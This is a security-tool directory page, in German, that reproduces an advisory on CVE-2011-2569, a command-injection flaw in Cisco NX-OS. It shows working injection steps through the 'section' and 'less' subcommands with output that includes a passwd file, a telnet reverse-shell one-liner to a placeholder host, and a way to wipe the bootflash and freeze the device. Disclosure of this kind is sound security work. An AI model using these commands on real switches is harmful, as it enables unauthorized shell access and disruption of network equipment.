Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
secpub — Veröffentlichte Sicherheitslücken, Forschung und zugehörige Informationen. | Kitploit
Tools/GitHubGitHub/darkarnium/secpub
Embedded-System-SicherheitPrivilege EscalationSchwachstellenanalyseExploitationNetzwerksicherheitPenetrationstestsPapers & ForschungLernen & BildungKuratierte Ressourcen
GitHubdarkarnium/secpub

secpub

Veröffentlichte Sicherheitslücken, Forschung und zugehörige Informationen.

1382919vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

Cisco Nexus OS (NX-OS) - Probleme mit Command-Injection / Sanitisierung.

Entdeckt von:
  • Peter Adkins [email protected]
Zugriff:
  • Lokal; authentifizierter Zugriff ist erforderlich.
Tracking und Kennungen:
  • CVE - CVE-2011-2569
Betroffene Betriebssysteme:
  • Cisco Nexus OS (NX-OS)
Beteiligung des Herstellers:
  • Informiert - Patches für einige Plattformen verfügbar / implementiert.
Betroffene Systeme / Plattformen:
  • Nexus 7000
  • Nexus 5000
  • Nexus 4000
  • Nexus 3000
  • Nexus 2000
  • Nexus 1000V
  • MDS
  • UCS
Hinweise:

Lokaler Zugriff ist erforderlich. Allerdings können unprivilegierte Konten Zugriff auf das zugrunde liegende Linux-Betriebssystem erlangen, was praktisch vollständigen Zugriff auf das Gerät ermöglicht. Dies könnte potenziell zu Problemen in Umgebungen führen, in denen NOC- und andere Mitarbeiter als erste Anlaufstelle usw. Zugriff mit niedrigen Rechten erhalten.

NX-OS - Unterbefehl „section“ - Probleme mit Command-Injection / Sanitisierung.

Dieses Problem wurde auf der Plattform Nexus 7000 gefunden. Es wird angenommen, dass auch die folgenden Plattformen betroffen sind:

  • Nexus 7000 ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )
  • Nexus 5000 ( OS < UNK )
  • Nexus 4000 ( OS < UNK )
  • Nexus 3000 ( OS < UNK )
  • Nexus 2000 ( OS < UNK )
  • MDS ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )

Der Unterbefehl „section“ scheint ein AWK-Skript zu sein, an das die angeforderte Zeichenkette übergeben wird. Die Eingabe scheint jedoch nicht korrekt sanitisiert zu werden. Infolgedessen kann AWK verwendet werden, um beliebige Befehle auf dem Linux-Subsystem auszuführen.

nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y

nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011

nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk

nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011

Dies kann sogar verwendet werden, um alle Dateien auf dem Bootflash zu entfernen und einen Befehl „reboot“ an das System zu senden. Ein Neustart aus dem Linux-Subsystem führt jedoch dazu, dass das Gerät Nachrichten auf die Konsole ausgibt und einfriert, anstatt das Gerät tatsächlich neu zu laden.

NX-OS - Unterbefehl „less“ - Probleme mit Command-Injection / Sanitisierung.

Voraussichtlich sind die folgenden Softwareversionen betroffen:

  • Nexus 7000 ( OS < 5.1(1) )
  • Nexus 5000 ( OS < 4.2(1)N2(1) )
  • Nexus 4000 ( OS < UNK)
  • Nexus 2000 ( OS < 4.2(1)N2(1) )
  • UCS ( OS < 1.4(1i) 1.3(1c) )
    • Auf der UCS-Plattform werden injizierte Befehle als root ausgeführt.
  • Nexus 1000V ( OS < UNK )
  • MDS ( OS < 5.1(1) )

Als Beispiel:

switch# sh clock | less

Sobald less angezeigt wird, öffnen wir Dateien, indem wir den Doppelpunkt drücken, dann „e“ und den Pfad zur Datei angeben.

bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm

Dies ist jedoch wiederum nur Lesezugriff. ABER wenn wir die Taste „|“ (Pipe) und dann das Tastenmakro „$“ verwenden, können wir Befehle ausführen.

!ls -lah > /bootflash/20110715

Wie unten gezeigt, wurde die Datei auf dem Bootflash erstellt.

switch# dir
      97     Jul 15 12:01:44 2011  20110715

Mit dieser Methode konnte ich unter Verwendung des Folgenden eine Remote-Shell im NX-OS-Linux-Subsystem einrichten:

 mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs

Sogar der Befehl „reboot“ wird als gültige Eingabe akzeptiert. Anstatt das Gerät jedoch neu zu starten, führt er dazu, dass das System einfriert und Fehler auf die Konsole ausgibt.

 switch# sh clock | less
 Fri Jul 15 12:06:30 UTC 2011
 !reboot

 Broadcast message from root (Fri Jul 15 12:06:39 2011):
Tool herunterladen